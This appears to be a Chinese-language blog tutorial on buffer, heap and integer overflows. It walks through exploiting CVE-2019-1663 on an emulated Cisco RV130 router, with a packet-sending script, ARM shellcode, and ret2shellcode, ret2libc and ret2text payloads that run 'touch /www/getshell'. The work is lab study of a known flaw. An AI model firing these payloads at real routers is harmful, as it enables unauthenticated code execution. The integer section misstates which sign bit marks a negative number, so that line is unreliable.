漏洞技术初窥之栈溢出

一、溢出简介

1、栈溢出

从图中可以看到子函数调用出现后,有三个过程:

  • 执行一段用于当前子函数堆栈空间申请的Prolog阶段,同时该阶段还将保存在LR寄存器中的返回地址压入了堆栈;
  • 完成Prolog阶段的工作之后,开始执行子函数的具体功能;
  • 子函数功能执行完成之后,进入epilogue阶段,该阶段将还原子函数调用前的堆栈布局,也就是将栈顶指针和栈底指针分别还原为调用者的栈空间对应的栈顶和栈底地址。

ARM架构下的缓冲区溢出攻击的主要目的就是通过修改返回地址来控制链接寄存器LR,进而实现对程序控制流的劫持。对于利用缓冲区溢出漏洞执行隐藏函数的攻击,其攻击相对简单,只需要确保返回地址被覆盖为隐藏函数的地址即可。其基本特征有两个:

  • 返回地址被覆盖;
  • 被覆盖后的返回地址指向某个函数。

常见的危险函数:

序号函数名严重性解决方案
1gets最危险使用fgets(buf, size, stdin)
2strcpy很危险改为使用strncpy
3strcat很危险改为使用strncat
4sprintf很危险改为使用snprintf,或者使用精度说明符
5scanf很危险使用精度说明符,或自己解析
6sscanf很危险使用精度说明符,或自己解析
7fscanf很危险使用精度说明符,或自己解析
8vfscanf很危险使用精度说明符,或自己解析
9vsprintf很危险改为使用vsnprintf,或者使用精度说明符
10vscanf很危险使用精度说明符,或自己解析
11vsscanf很危险使用精度说明符,或自己解析
12streadd很危险确保分配的目的地参数大小是源参数大小的四倍
13strecpy很危险确保分配的目的地参数大小是源参数大小的四倍
14strtrns危险手工检查来查看目的地大小是否至少与源字符串相等
15realpath危险(或稍小,取决于实现)分配缓冲区大小为MAXPATHLEN,同样,手工检查参数以确保输入参数不超过MAXPATHLEN
16syslog危险(或稍小,取决于实现)在将字符串输入传递给该函数之前,将所有字符串输入截断成合理的大小
17getopt危险(或稍小,取决于实现)在将字符串输入传递给该函数之前,将所有字符串输入截断成合理的大小
18getopt_long危险(或稍小,取决于实现)在将字符串输入传递给该函数之前,将所有字符串输入截断成合理的大小
19getpass危险(或稍小,取决于实现)在将字符串输入传递给该函数之前,将所有字符串输入截断成合理的大小
20getchar中等危险如果在循环中使用该函数,确保检查缓冲区边界
21fgetc中等危险如果在循环中使用该函数,确保检查缓冲区边界
22getc中等危险如果在循环中使用该函数,确保检查缓冲区边界
23read中等危险如果在循环中使用该函数,确保检查缓冲区边界
24bcopy低危险确保缓冲区大小与它所说的一样大
25fgets低危险确保缓冲区大小与它所说的一样大
26memcpy低危险确保缓冲区大小与它所说的一样大
27snprintf低危险确保缓冲区大小与它所说的一样大
28strccpy低危险确保缓冲区大小与它所说的一样大
29strcadd低危险确保缓冲区大小与它所说的一样大
30strncpy低危险确保缓冲区大小与它所说的一样大
31vsnprintf低危险确保缓冲区大小与它所说的一样大
32strlcpy低危险确保缓冲区大小与它所说的一样大

2、堆溢出

堆是用于存放除了栈里的东西之外所有其他东西的内存区域,有动态内存分配器负责维护。分配器将堆视为一组不同大小的块(block)的集合来维护,每个块就是一个连续的虚拟内存器片(chunk)。当使用 malloc() 和 free() 时就是在操作堆中的内存。对于堆来说,释放工作由程序员控制,容易产生内存泄露。

堆是向高地址扩展的数据结构,是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的,而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见,堆获得的空间比较灵活,也比较大。

如果每次申请内存时都直接使用系统调用,会严重影响程序的性能。通常情况下,运行库先向操作系统 “批发” 一块较大的堆空间,然后 “零售” 给程序使用。当全部 “售完” 之后或者剩余空间不能满足程序的需求时,再根据情况向操作系统 “进货”。

需要注意的是,在内存分配与使用的过程中,Linux 有这样的一个基本内存管理思想,只有当真正访问一个地址的时候,系统才会建立虚拟页面与物理页面的映射关系。 所以虽然操作系统已经给程序分配了很大的一块内存,但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时,系统才会真正分配物理页面给用户使用。

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

不难发现,堆溢出漏洞发生的基本前提是

  • 程序向堆上写入数据。
  • 写入的数据大小没有被良好地控制。

对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。

堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是

  1. 覆盖与其物理相邻的下一个 chunk 的内容。
    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

3、整数溢出

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:

序号类型字节范围
1char1-128~127(-0x80~0x7f)
2unsigned char10~255(0~0xff)
3short int20~32767(0~0x7fff)
-32768~-1(0x8000~0xffff)
4unsigned short int20~65535(0-0xffff)
5int40~2147483647(0-0x7fffffff)
-2147483648~-1(0x80000000~0xffffffff)
6unsigned int40~4294967295(0-0xffffffff)
7long int80~9223372036854775807(0-0x7fffffffffffffff)
-9223372036854775808~-1(0x8000000000000000-0xffffffffffffffff)
8unsigned long int80~18446744073709551615(0-0xffffffffffffffff)

当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

二、环境搭建

1、工具准备

一、Windows系统
1、010Editor
2、Ghidra或IDA反编译器

二、Linux系统(Ubuntu 20.04)
1、EMUX模拟器,安装方法见《EMUX固件模拟系统使用(1)
2、gdb for arm,调试器
3、ROPgadget,ROP寻找工具

2、设备模拟

路由器型号RV130,固件版本1.0.0.21,通过本站的固件分析工具可以解包。

解压后将目录名称改为RV130X_FW_1.0.0.21

保证目录是根文件系统内容,为了调试可以放入一个gdb到目录

修改config文件内容,其中地址随机化关闭,值设置为0

在emux根目录/files/emux/devices末尾添加一行

ID,qemu-binary,machine-type,cpu-type,dtb,memory,kernel-image,qemuopts,description
DV-ARM,qemu-system-arm-7.0.0,realview-eb-mpcore,,,256M,zImage-3.18.109-realview,REALVIEW-EB,Damn Vulnerable ARM Router
......
rv130,qemu-system-arm-7.0.0,vexpress-a9,,,256M,zImage-2.6.39.4-vexpress,VEXPRESS2,Cisco RV130 Router

启动EMUX,选择最后添加的记录

启动后WEB服务可正常使用

3、环境下载

emux根目录/files/emux/rv130目录打包文件见此处

三、漏洞相关准备

1、漏洞简介

CVE-2019-1663是一个影响Cisco的多个低端设备的堆栈缓冲区,由于管理界面没有对登录表单的pwd字段进行严格的过滤,底层在处理请求时,strcpy函数导致堆栈溢出,未经身份验证的远程攻击者可以在设备上执行任意代码。

影响的版本:

  • Cisco RV110W <1.2.1.7
  • Cisco RV130/RV130W <1.0.3.45
  • Cisco RV215W <1.3.0.8

这里我们主要模拟的是RV130型号,其他型号可以根据兴趣进行选择。

2、数据包生成

因为是缓冲区溢出,所以定位溢出点最为重要,首先可以生成规律字符串,以方便定位溢出点:

#!/usr/bin/python3

text = ""
for i in range(26):
	for j in range(26):
			for k in range(10):
				text += chr(ord('A')+i)+chr(ord('a')+j)+chr(ord('0')+k)
print(text)

打印规律字符串示例:

3、调试

  • 查找pid:
  • 内存空间:
# cat /proc/685/maps
00008000-0008e000 r-xp 00000000 00:0f 3420457    /usr/sbin/httpd
00096000-0009f000 rw-p 00086000 00:0f 3420457    /usr/sbin/httpd
0009f000-000b5000 rw-p 00000000 00:00 0          [heap]
......
4024e000-402ab000 r-xp 00000000 00:0f 3419965    /lib/libc.so.0
402ab000-402b3000 ---p 00000000 00:00 0 
402b3000-402b4000 r--p 0005d000 00:0f 3419965    /lib/libc.so.0
402b4000-402b5000 rw-p 0005e000 00:0f 3419965    /lib/libc.so.0
402b5000-402ba000 rw-p 00000000 00:00 0 
402ba000-402bc000 r-xp 00000000 00:0f 3419967    /lib/libdl.so.0
402bc000-402c3000 ---p 00000000 00:00 0 
402c3000-402c4000 r--p 00001000 00:0f 3419967    /lib/libdl.so.0
402c4000-402c5000 rw-p 00000000 00:00 0 
402c5000-402cf000 r-xp 00000000 00:0f 3419968    /lib/libgcc_s.so.1
402cf000-402d6000 ---p 00000000 00:00 0 
402d6000-402d7000 rw-p 00009000 00:0f 3419968    /lib/libgcc_s.so.1
402d7000-40357000 rw-s 00000000 00:04 0          /SYSV00000457 (deleted)
40357000-403d7000 r--s 00000000 00:04 0          /SYSV00000457 (deleted)
befdf000-bf000000 rw-p 00000000 00:00 0          [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
  • 使用gdb附加httpd程序
/gdb7.10 --pid 685
...
0x4025ca94 in select () from /lib/libc.so.0
(gdb) c
Continuing.
  • 编写脚本发包:
import socket

pwd = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0"
body = "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=%s&sel_lang=EN"%pwd

data = '''POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: %d

%s'''%(len(body), body)
s = socket.socket()
s.connect(("127.0.0.1", 20080))
s.send(bytes(data,encoding="raw_unicode_escape"))
s.close()

最终崩溃点在0x396f4138,对应ASCII值9oA8,由于架构是ARM小端,所以值应是8Ao9

经过计算,溢出点在规律字符串偏移446字节处。

bt查看栈回溯

打开Ghidra,分析主程序,跳转到地址0x28ff4,找到最后的函数结尾处0x29000

设置断点0x29000,重新来一次

目前的栈顶空间:

下面一节将从三个不同的方法来介绍如何进行漏洞利用,最终能够创建文件/www/getshell。

四、利用方法

1、ret2shellcode

当NX未开放的时候可以使用,这里为了演示,手动修改了二进制文件的标志位,修改值 06000000 --> 07000000,关于Linux的保护机制,可以参考《Linux程序与系统的保护机制简介

运行程序,可以看到堆、栈具有了执行权限x。

# cat /proc/685/maps 
00008000-0008e000 r-xp 00000000 00:0f 3420454    /usr/sbin/httpd
00096000-0009f000 rwxp 00086000 00:0f 3420454    /usr/sbin/httpd
0009f000-000b5000 rwxp 00000000 00:00 0          [heap]
......
4024e000-402ab000 r-xp 00000000 00:0f 3419960    /lib/libc.so.0
402ab000-402b3000 ---p 00000000 00:00 0 
402b3000-402b4000 r-xp 0005d000 00:0f 3419960    /lib/libc.so.0
402b4000-402b5000 rwxp 0005e000 00:0f 3419960    /lib/libc.so.0
402b5000-402ba000 rwxp 00000000 00:00 0 
402ba000-402bc000 r-xp 00000000 00:0f 3419964    /lib/libdl.so.0
402bc000-402c3000 ---p 00000000 00:00 0 
402c3000-402c4000 r-xp 00001000 00:0f 3419964    /lib/libdl.so.0
402c4000-402c5000 rwxp 00000000 00:00 0 
402c5000-402cf000 r-xp 00000000 00:0f 3419965    /lib/libgcc_s.so.1
402cf000-402d6000 ---p 00000000 00:00 0 
402d6000-402d7000 rwxp 00009000 00:0f 3419965    /lib/libgcc_s.so.1
402d7000-40357000 rwxs 00000000 00:04 0          /SYSV00000457 (deleted)
40357000-403d7000 r-xs 00000000 00:04 0          /SYSV00000457 (deleted)
befdf000-bf000000 rwxp 00000000 00:00 0          [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

构建栈空间示意图如下:

定义如下:

序号过程PCSP
1当前栈shellcode地址
2shellcodeshellcode内容

这里使用以下的shellcode,最终效果为生成文件/www/getshell。

"\x01\x60\x8f\xe2"    // add  r6, pc, #1
"\x16\xff\x2f\xe1"    // bx   r6
"\x78\x46"            // mov  r0, pc
"\x10\x30"            // adds r0, #16
"\xff\x21"            // movs r1, #255    ; 0xff
"\xff\x31"            // adds r1, #255    ; 0xff
"\x01\x31"            // adds r1, #1
"\x08\x27"            // adds r7, #8
"\x01\xdf"            // svc  1
"\x40\x40"            // eors r0, r0
"\x01\x27"            // movs r7, #1
"\x01\xdf"            // svc  1
"\x2F\x77\x77\x77"    // string: /www
"\x2F\x67\x65\x74"    // string: /get
"\x73\x68\x65\x6C"    // string: shel
"\x6C";               // string: l

编写发包脚本,设置断点在0x29000,运行发包脚本,gdb会断在函数末尾,查看栈空间布局,需要将返回地址处地址指向0xbeff6de4+0x24=0xbeff6e08(shellcode):

查看16进制栈空间布局(因为模拟的系统的某些原因,可能导致栈基址不一致,调试以实际为准):

关键代码如下:

pwd  = "A"*446            # padding
pwd += "\x08\x6e\xff\xbe" # pc, shellcode addr
pwd += "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\xff\x21\xff\x31\x01\x31\x08\x27\x01\xdf\x40\x40\x01\x27\x01\xdf\x2F\x77\x77\x77\x2F\x67\x65\x74\x73\x68\x65\x6C\x6C" # shellcode, creat /www/getshell
body = "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=%s&sel_lang=EN"%pwd

运行脚本,最后使用命令查看,的确生成文件成功。

2、ret2libc

当ASLR未开放的时候可以使用,主要是找libc库的ROP。

ROP(Return-Oriented Programming, 返回导向编程),就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。

  • 选择第二条 0x00037884 : mov r0, sp ; blx r3,作为gadget2
  • 选择最后一条0x0002a134 : pop {r3, r7, pc},作为gadget1
$ ROPgadget --binary lib/libc.so.0 --only "mov|blx" |grep sp
0x00041308 : mov r0, sp ; blx r2
0x00037884 : mov r0, sp ; blx r3
0x00041304 : mov r2, r0 ; mov r0, sp ; blx r2

$ ROPgadget --binary lib/libc.so.0 --only "pop" |grep r3
没有内容

$ ROPgadget --binary lib/libc.so.0 --thumb --only "pop" |grep "pop {r3"
0x00005c38 : pop {r3, r4, r6, r7, pc}
0x00020d28 : pop {r3, r4, r7, pc}
0x00020ce8 : pop {r3, r5, r7, pc}
0x0002a178 : pop {r3, r6, pc}
0x0002a134 : pop {r3, r7, pc}

ROP链示意图如下:

那么可以这样定义:

序号过程R3R7PCSP
1当前栈gadget1地址
2gadget1system地址非0填充值gadget2地址
3gadget2字符串

查找system地址可以直接使用gdb下断点,gadget1、gadget2地址需要加上libc库的基址0x4024e000。

关键代码如下:

pwd  = "A"*446 # padding
pwd += "\x35\x81\x27\x40"    # pc, gadget1+1, thumb mode
pwd += "\x44\xb1\x29\x40"    # r3, system
pwd += "\xFF\xFF\xFF\xFF"    # r7, padding
pwd += "\x84\x58\x28\x40"    # pc, gadget1
pwd += "touch /www/getshell" # cmd, sp
body = "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=%s&sel_lang=EN"%pwd

3、ret2text

这是最稳定的一种方式,但是常常有所局限。

使用Ghidra查找所有system所在的函数,其中“使得r0=sp, 执行system”,这种是最理想的,可是主程序的基址最开始有\x00,通过strcpy覆盖PC地址后的内容不会复制到SP指向的区域,所以不能够使用这种方法。

执行到崩溃点函数,打印当前的寄存器内容,其中r5寄存器指向的地址为post数据包的用户名cisco(.bss段),经过多次调试可以知道它的地址始终没变,那么就能用这里作为r0的地址。另外,这里可以思考一下,这个地址是否能用于ret2shellcode?可以试一试。

内存空间示例如下:

这里找到一个地方,用到了“整数溢出”达到修改r0值。

如此就变成一个数学问题:

关系式:0x9e2fb = (r5+r4)&0xffffffff
设r5=0x01020304
, 求r4的值
解:r4=(0x9e2fb-0x01020304)&0xffffffff = 0xff07dff7

那么可以这样定义:

序号过程r0r4r5pc
1当前内存0xff07dff70x01020304gadget地址
2gadget运行后值为0x9e2fb

关键代码如下:

pwd  = "A"*(446-8*4)      # padding
pwd += "\xf7\xdf\x07\xff" # R4
pwd += "\x04\x03\x02\x01" # R5
pwd += "A"*(6*4)          # R6-R11
pwd += "\x90\x82\x01\x00" # PC
cmd = "touch /www/getshell"
body = "submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=%s&pwd=%s&sel_lang=EN"%(cmd,pwd)

五、总结

序号利用方法利用条件举例
1ret2shellcode当堆、栈可执行、栈地址已知
2ret2libc当libc地址已知的情况
3ret2text当存本程序存在system函数、字符串地址可知

除了常用的这几种方法,其实还有一些特定条件下通过栈溢出间接达到的效果,如覆盖.got表、覆盖函数指针等等,不管怎样最终都能改变正常程序运行的流程,达到控制流劫持。

六、参考链接

https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/

https://www.anquanke.com/post/id/186523

https://blog.csdn.net/axiejundong/article/details/78937291

https://www.exploit-db.com/shellcodes/43532

https://paper.seebug.org/1039/

https://www.wangan.com/docs/990

https://www.wangan.com/docs/1321

https://blog.csdn.net/weixin_46436680/article/details/105874679

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic/

留下评论

您的电子邮箱地址不会被公开。 必填项已用*标注